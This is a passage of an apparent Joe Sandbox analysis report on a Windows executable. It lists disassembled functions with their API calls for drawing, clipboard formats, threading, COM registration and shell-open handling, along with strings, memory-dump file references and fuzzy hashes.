PatBlt.GDI32(?,00000000,00000000,00000001,?,00F00021), ref: 00415109

Part of subcall function 0040AAF0: GetSysColor.USER32(0000000F), ref: 0040AAFD

Part of subcall function 00498A80: __EH_prolog.LIBCMT ref: 00498A85
Part of subcall function 00498A80: CreateSolidBrush.GDI32(?), ref: 00498AA2

GetObjectA.GDI32(?,00000018,?), ref: 00415185
CreateCompatibleDC.GDI32(?), ref: 004151C3
BitBlt.GDI32(?,00000000,00000000,00000001,?,?,00000000,00000000,00CC0020), ref: 00415222

Strings

\_J, xrefs: 00414F6F, 00414F79
8\J, xrefs: 00415000, 00415004
\[J, xrefs: 004150A4

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Create$CompatibleRect$__ftol$BitmapBrushClientColorFillH_prologObjectSolid
String ID: 8\J$\[J$\_J
API String ID: 2289681609-489006577
Opcode ID: 42ed86179b42366f22924660d4703730c1e0da4e7d44021270bde725328bd5cb
Instruction ID: f5a4706f083cd03a8f8db45dad4772308011058cb281f344b91315c0238ac50c
Opcode Fuzzy Hash: 42ed86179b42366f22924660d4703730c1e0da4e7d44021270bde725328bd5cb
Instruction Fuzzy Hash: BDC1B2712087419FC714DB65C885FABBBE8AFD5704F04492EF18AD3291DB78E848CB66

Function 004904B8 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 119registryclipboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0049B84D: TlsGetValue.KERNEL32(004FCF74,?,00000000,0049B2D4,0049ABD3,0049B2F0,00496AC5,00497D61,?,00000000,?,0048F893,00000000,00000000,00000000,00000000), ref: 0049B88C

RegisterClipboardFormatA.USER32(commdlg_LBSelChangedNotify), ref: 00490510
RegisterClipboardFormatA.USER32(commdlg_ShareViolation), ref: 0049051C
RegisterClipboardFormatA.USER32(commdlg_FileNameOK), ref: 00490528
RegisterClipboardFormatA.USER32(commdlg_ColorOK), ref: 00490534
RegisterClipboardFormatA.USER32(commdlg_help), ref: 00490540
RegisterClipboardFormatA.USER32(commdlg_SetRGBColor), ref: 0049054C

Part of subcall function 00495E84: SetWindowLongA.USER32(?,000000FC,00000000), ref: 00495EB3

SendMessageA.USER32(?,00000111,0000E146,00000000), ref: 0049063F

Strings

commdlg_SetRGBColor, xrefs: 00490542
commdlg_LBSelChangedNotify, xrefs: 0049050B
commdlg_ColorOK, xrefs: 0049052A
commdlg_FileNameOK, xrefs: 0049051E
commdlg_ShareViolation, xrefs: 00490512
commdlg_help, xrefs: 00490536

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ClipboardFormatRegister$LongMessageSendValueWindow
String ID: commdlg_ColorOK$commdlg_FileNameOK$commdlg_LBSelChangedNotify$commdlg_SetRGBColor$commdlg_ShareViolation$commdlg_help
API String ID: 3913284445-3888057576
Opcode ID: 933723dcf38d8f371848eb6de2ec0ae49ca20b9da345c4a09b83baaeb5ebffd5
Instruction ID: e18ed63bf14d83185dfbd11ca39d8f205a8e3e8adc13aa83220f5bda818f93aa
Opcode Fuzzy Hash: 933723dcf38d8f371848eb6de2ec0ae49ca20b9da345c4a09b83baaeb5ebffd5
Instruction Fuzzy Hash: 11418F71A00205AFCF25AF25DC45A7E3EA2EB94364F11443BF90A57261C7789C61CF9E

Function 0042A640 Relevance: 22.8, APIs: 15, Instructions: 305windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00424D40: EnumDisplaySettingsA.USER32(00000000,000000FF,?), ref: 00424D4F

SetStretchBltMode.GDI32(?,00000000), ref: 0042A654
CreateCompatibleDC.GDI32(?), ref: 0042A6D9
CreateCompatibleDC.GDI32(?), ref: 0042A6F1
GetObjectA.GDI32(?,00000018,?), ref: 0042A732
CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 0042A748
BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 0042A7A6
StretchBlt.GDI32(?,000000FF,?,?,?,?,00000000,00000000,?,?,00660046), ref: 0042A7FF
StretchBlt.GDI32(?,?,?,?,?,?,00000000,00000000,?,?,008800C6), ref: 0042A839
StretchBlt.GDI32(?,?,?,?,?,?,00000000,00000000,?,?,00660046), ref: 0042A873
CreateCompatibleDC.GDI32(?), ref: 0042A8EB
SelectObject.GDI32(00000000,?), ref: 0042A8F8
StretchBlt.GDI32(?,?,?,?,?,00000000,00000000,00000000,?,?,?), ref: 0042A93B
SelectObject.GDI32(00000000,?), ref: 0042A947
DeleteDC.GDI32(00000000), ref: 0042A94E
DrawIconEx.USER32(?,?,?,?,?,?,00000000,00000000,00000003), ref: 0042A98D

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Stretch$Create$CompatibleObject$Select$BitmapDeleteDisplayDrawEnumIconModeSettings
String ID:
API String ID: 1298110373-0
Opcode ID: 0074573f994a366543f6a5cf12650fcf4d9cae44e8e9b6a302f6d97f19ed31d0
Instruction ID: 219f2a6af96ef478cfbdb733c8f1dfef0c08b535cdc7c09020e8b3ecab6e5fa7
Opcode Fuzzy Hash: 0074573f994a366543f6a5cf12650fcf4d9cae44e8e9b6a302f6d97f19ed31d0
Instruction Fuzzy Hash: 67B13871208701AFD710DB24DC85F6BBBE9EB89714F108A1DFAA587290DB34EC45CB66

Function 00441820 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 331threadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0044198B
CreateSemaphoreA.KERNEL32(00000000,00000014,00000014,00000000), ref: 004419A0
InitializeCriticalSection.KERNEL32(?), ref: 004419CB
CreateThread.KERNEL32(00000000,00000000,00441C00,?,00000004,?), ref: 00441A00
EnterCriticalSection.KERNEL32(004DBEB8), ref: 00441A12
LeaveCriticalSection.KERNEL32(004DBEB8,-000000FC,00000000,00000000), ref: 00441BC5
ResumeThread.KERNEL32(?), ref: 00441BD3
ReleaseSemaphore.KERNEL32(?,00000014,00000000), ref: 00441BE5

Strings

RIFF, xrefs: 00441834, 00441848
data, xrefs: 004418C5
WAVE, xrefs: 00441861, 00441878
fmt , xrefs: 004418A4

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CreateCriticalSection$SemaphoreThread$EnterEventInitializeLeaveReleaseResume
String ID: RIFF$WAVE$data$fmt
API String ID: 1802393137-4212202414
Opcode ID: f61fc57052d76992cd0bbf5cd5bd81cdf1d7c8b699f4ed24c318d0c40625dc03
Instruction ID: aea9da0b54cff3e24a2d054b505a141b2db550ff7916a2c91d307d9ce3eadfbd
Opcode Fuzzy Hash: f61fc57052d76992cd0bbf5cd5bd81cdf1d7c8b699f4ed24c318d0c40625dc03
Instruction Fuzzy Hash: 29B115756003009BE714DB24DC81B6B77D5FB88318F19462EFA46973A0E7B8ED41CB99

Function 0040B8F0 Relevance: 19.9, APIs: 13, Instructions: 372COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f736578b1cc51ec0ef94afae95ac92a8f9cdf0ef45c402ba6c46b6b57ed5746
Instruction ID: 9af588876fb0fc70891b074558b2beb92b4b5310f29dafb32949f07cc77b54fd
Opcode Fuzzy Hash: 1f736578b1cc51ec0ef94afae95ac92a8f9cdf0ef45c402ba6c46b6b57ed5746
Instruction Fuzzy Hash: BDD15A706047009FD724DF28C885A6BB7E5EB48718F14893EE65AE7790D738EC41CB9A

Function 00437020 Relevance: 19.8, APIs: 13, Instructions: 320windowCOMMON

Download Yara Rule

APIs

GetCapture.USER32 ref: 0043703E
SetCapture.USER32(?,?,?,?,?,?,?,?,?,0049F218,000000FF,0043687D,?,?,?,?), ref: 0043705B

Part of subcall function 0049871B: __EH_prolog.LIBCMT ref: 00498720
Part of subcall function 0049871B: GetDC.USER32(?), ref: 00498749

Part of subcall function 0044A850: GetWindowExtEx.GDI32(?,?), ref: 0044A873

Part of subcall function 00498649: GetWindowExtEx.GDI32(?,?), ref: 0049865A
Part of subcall function 00498649: GetViewportExtEx.GDI32(?,?), ref: 00498667
Part of subcall function 00498649: MulDiv.KERNEL32(?,00000000,00000000), ref: 0049868C
Part of subcall function 00498649: MulDiv.KERNEL32(?,00000000,00000000), ref: 004986A7

Part of subcall function 004981DA: SetMapMode.GDI32(?,?), ref: 004981F3
Part of subcall function 004981DA: SetMapMode.GDI32(?,?), ref: 00498201

Part of subcall function 0049814F: SetROP2.GDI32(?,?), ref: 00498168
Part of subcall function 0049814F: SetROP2.GDI32(?,?), ref: 00498176

Part of subcall function 004980F3: SetBkMode.GDI32(?,?), ref: 0049810C
Part of subcall function 004980F3: SetBkMode.GDI32(?,?), ref: 0049811A

Part of subcall function 00498A30: __EH_prolog.LIBCMT ref: 00498A35
Part of subcall function 00498A30: CreatePen.GDI32(?,?,?), ref: 00498A58

Part of subcall function 00498017: SelectObject.GDI32(0040B5D5,00000000), ref: 00498039
Part of subcall function 00498017: SelectObject.GDI32(0040B5D5,?), ref: 0049804F

GetCapture.USER32 ref: 00437121
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00437140
DispatchMessageA.USER32(?), ref: 00437181
DispatchMessageA.USER32(?), ref: 0043719D
ScreenToClient.USER32(?,?), ref: 004371E4
GetCapture.USER32 ref: 0043720C
ReleaseCapture.USER32 ref: 00437234
ReleaseCapture.USER32 ref: 00437290
DPtoLP.GDI32 ref: 004372D4
InvalidateRect.USER32(?,00000000,00000000,?,00000000,?,?,?,00000000,?,?,?), ref: 0043735D
InvalidateRect.USER32(?,00000000,00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 004373EB

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Capture$Mode$Message$DispatchH_prologInvalidateObjectRectReleaseSelectWindow$ClientCreateScreenViewport
String ID:
API String ID: 453157188-0
Opcode ID: beb8d0d7902f4b7adc0b372e59e94dd0f5e44317eb5a6317adda381f8c8c7721
Instruction ID: a53e230847c0ca62f508c75ca7a5d83b487ac2186746ba7898fa1eebeb054e39
Opcode Fuzzy Hash: beb8d0d7902f4b7adc0b372e59e94dd0f5e44317eb5a6317adda381f8c8c7721
Instruction Fuzzy Hash: AFB1BBB1208740AFD724DB65CC45E6FB7E9BF89704F10491EF592832A1DB38E905CB5A

Function 00420F50 Relevance: 19.6, APIs: 9, Strings: 2, Instructions: 387windowCOMMON

Download Yara Rule

APIs

IsChild.USER32(?,?), ref: 00420F88
GetParent.USER32(?), ref: 00421019
IsWindow.USER32(?), ref: 0042114B
IsWindowVisible.USER32(?), ref: 0042115D

Part of subcall function 00496156: IsWindowEnabled.USER32(?), ref: 00496160

GetParent.USER32(?), ref: 004211AE
IsChild.USER32(?,?), ref: 004211CE
GetParent.USER32(?), ref: 00421377
SendMessageA.USER32(?,000000F1,00000001,00000000), ref: 00421394
IsWindow.USER32(?), ref: 004213EF

Part of subcall function 00417400: IsChild.USER32(?,?), ref: 0041747D
Part of subcall function 00417400: GetParent.USER32(?), ref: 00417497

Strings

LdJ, xrefs: 0042106E
hcJ, xrefs: 00421400

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ParentWindow$Child$EnabledMessageSendVisible
String ID: LdJ$hcJ
API String ID: 2452671399-783089612
Opcode ID: 6a6fc96eaa2f31d36d544a278fc3d0899812fe36d6a75eb86f7d6ee481505888
Instruction ID: 19d4d083b71b1260b015507b4ea71c3ddde8ab2faf0968574aeaf38830a22272
Opcode Fuzzy Hash: 6a6fc96eaa2f31d36d544a278fc3d0899812fe36d6a75eb86f7d6ee481505888
Instruction Fuzzy Hash: B6E1F4716043619FC724DF61D880B6BB7E4BF95704F404A2EF986973A1D738E805CBAA

Function 0041B440 Relevance: 19.6, APIs: 9, Strings: 2, Instructions: 310libraryregistryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,00000000,?,00000000,?,?,?,?,?,?,00000000,004DB418,00000000), ref: 0041B524
LoadLibraryA.KERNEL32(?,00000000,00000000,00000000,?,?,004BBCDC,?,?,?,?,?,?,00000000,004DB418,00000000), ref: 0041B561
GetProcAddress.KERNEL32(00000000,DllRegisterServer), ref: 0041B597
FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,00000000,004DB418,00000000), ref: 0041B5A2
FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,00000000,004DB418,00000000), ref: 0041B5B0
LoadTypeLib.OLEAUT32(00000000,00000000), ref: 0041B6BD
RegisterTypeLib.OLEAUT32(00000000,00000000), ref: 0041B6F2
CLSIDFromString.OLE32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,004DB418,00000000), ref: 0041B7B7
UnRegisterTypeLib.OLEAUT32(?,00000000,00000000,00000000,00000001), ref: 0041B7D3

Strings

DllUnregisterServer, xrefs: 0041B590, 0041B595
DllRegisterServer, xrefs: 0041B589

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Library$LoadType$FreeRegister$AddressFromProcString
String ID: DllRegisterServer$DllUnregisterServer
API String ID: 2476498075-2931954178
Opcode ID: 9b4e7afd575d6f544a66f6c9bb7fa78a11de913cb974d41840f492840d8dec19
Instruction ID: 5406f397f0f013beafb45ccdeeb48aa66d431c6d5eadeb01410dbb254db35a3f
Opcode Fuzzy Hash: 9b4e7afd575d6f544a66f6c9bb7fa78a11de913cb974d41840f492840d8dec19
Instruction Fuzzy Hash: 7AB1E67590020AABDF10DFA5C845FEEB778EF44318F10862EF815A7291DB389E45CBA5

Function 004128E0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 130stringprocessCOMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,?), ref: 00412978
lstrcatA.KERNEL32(?,\shell\open\command,80000000,.htm,?,?,?,?), ref: 004129B7
lstrlenA.KERNEL32(?), ref: 00412A0C
lstrcatA.KERNEL32(00000000,004BBCF0), ref: 00412A55
lstrcatA.KERNEL32(00000000,?), ref: 00412A5D
WinExec.KERNEL32(?,?), ref: 00412A65

Part of subcall function 00491D7C: InterlockedDecrement.KERNEL32(-000000F4), ref: 00491D90

Strings

mailto:, xrefs: 00412946
\shell\open\command, xrefs: 004129B1
open, xrefs: 00412971
"%1", xrefs: 004129DB
.htm, xrefs: 00412990

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: lstrcat$DecrementExecExecuteInterlockedShelllstrlen
String ID: "%1"$.htm$\shell\open\command$mailto:$open
API String ID: 51986957-2182632014
Opcode ID: ffa9534ece77c65c3e278d2910b8313507f44036c2fd3d9d36ac72155c92a6c3
Instruction ID: 4f3c4e073c6db9cbe9a02424425cdee892516fb2d2cc87f0076aa2efdf2d8974
Opcode Fuzzy Hash: ffa9534ece77c65c3e278d2910b8313507f44036c2fd3d9d36ac72155c92a6c3
Instruction Fuzzy Hash: D041E572244743AFC720DB15DD40FEBB7E8EF84750F104A1EF95593290E7B8A94487AA

Function 00429800 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 405COMMON

Download Yara Rule

APIs

InflateRect.USER32(?,?,?), ref: 004298A6

Part of subcall function 004295D0: SetRect.USER32(?,00000000,00000032,00000032,?), ref: 004296B9
Part of subcall function 004295D0: OffsetRect.USER32(?,?,?), ref: 004296C6
Part of subcall function 004295D0: IntersectRect.USER32(?,?,?), ref: 004296E2
Part of subcall function 004295D0: IsRectEmpty.USER32(?), ref: 004296ED

InflateRect.USER32(?,?,?), ref: 00429919
CreateRectRgn.GDI32(00000000,00000000,00000000,00000000), ref: 00429B1D
GetClipRgn.GDI32(?,00000000), ref: 00429B2C
CreatePolygonRgn.GDI32 ref: 00429BAA
SelectClipRgn.GDI32(?,?), ref: 00429C8D
CreatePolygonRgn.GDI32(?,00000005,00000002), ref: 00429CB0
SelectClipRgn.GDI32(?,?), ref: 00429D31
DeleteObject.GDI32(?), ref: 00429D47

Strings

gfff, xrefs: 00429A0D

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
